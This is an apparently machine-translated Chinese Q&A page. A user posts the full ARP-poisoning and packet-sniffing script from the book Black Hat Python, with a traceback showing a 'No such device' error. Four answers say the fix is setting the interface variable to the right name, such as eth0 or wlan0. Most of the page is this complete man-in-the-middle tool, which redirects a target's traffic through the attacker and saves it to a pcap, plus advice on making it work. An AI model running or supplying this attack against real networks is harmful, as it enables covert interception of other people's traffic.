Question

因此，在本书中，它教导了如何制作ARP中毒脚本，我们将目标机器的网关切换到我们自己的机器，这样就无法在不首先向攻击计算机报告的情况下访问Internet。代码看起来像这样

    from scapy.all import *
import os
import sys
import threading

interface    = "en1"
target_ip    = "192.168.1.2"
gateway_ip   = "192.168.1.1"
packet_count = 1000
poisoning    = True

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

    # slightly different method using send
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

def get_mac(ip_address):

    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

    # return the MAC address from a response
    for s,r in responses:
        return r[Ether].src

    return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    global poisoning

    poison_target = ARP()
    poison_target.op   = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac

    poison_gateway = ARP()
    poison_gateway.op   = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac

    print "[*] Beginning the ARP poison. [CTRL-C to stop]"

    while poisoning:
        send(poison_target)
        send(poison_gateway)

        time.sleep(2)

    print "[*] ARP poison attack finished."

    return

# set our interface
conf.iface = interface

# turn off output
conf.verb  = 0

print "[*] Setting up %s" % interface

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip,target_mac)

# start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count

    bpf_filter  = "ip host %s" % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

except KeyboardInterrupt:
    pass

finally:
    # write out the captured packets
    print "[*] Writing packets to arper.pcap"
    wrpcap('arper.pcap',packets)

    poisoning = False

    # wait for poisoning thread to exit
    time.sleep(2)

    # restore the network
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

因此，当我在linux终端中执行脚本时，会出现以下行的错误：

 line 64, in <module>
gateway_mac = get_mac(gateway_ip)

和

line 21, in get_mac
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

并发出此错误：

socket.error: [Errno 19] No such device

整个错误日志：

    Traceback (most recent call last):
  File "/root/Desktop/BHP-Code/Chapter4/arper.py", line 64, in <module>
    gateway_mac = get_mac(gateway_ip)
  File "/root/Desktop/BHP-Code/Chapter4/arper.py", line 21, in get_mac
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
  File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 357, in srp
    s = conf.L2socket(iface=iface, filter=filter, nofilter=nofilter, type=type)
  File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 417, in __init__
    self.ins.bind((iface, type))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 19] No such device

Answer 1

您必须在脚本的开头编辑变量：

interface    = "en1"
target_ip    = "192.168.1.2"
gateway_ip   = "192.168.1.1"
packet_count = 1000
poisoning    = True

此处，似乎interface的值与您的配置不符，但您可能还想调整target_ip和gateway_ip。

Answer 2

在Kali上，当您执行ifconfig时，您获得了分配了IP地址的接口名称。选择该接口名称并使用完全相同的名称编辑您的界面。否则它将无法找到界面，代码将无法用于您的攻击。</ p>

Answer 3

这是界面的问题。我遇到了同样的问题，并注意到我能够从python解释器获取mac地址。

>>>import arper
>>>gateway_mac = arper.get_mac('192.168.1.254')
Begin emission:
Finished to send 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
>>>

没有发生错误。不幸的是，我没有解释原因的知识。我知道更改界面是造成问题的原因。应该可以通过注释掉界面或更改为wlan0

来修复它

Answer 4

更改界面=“ eth0”对我有用

来自Black Hat Python Book的Arper.py [Errno 19]

4 个答案: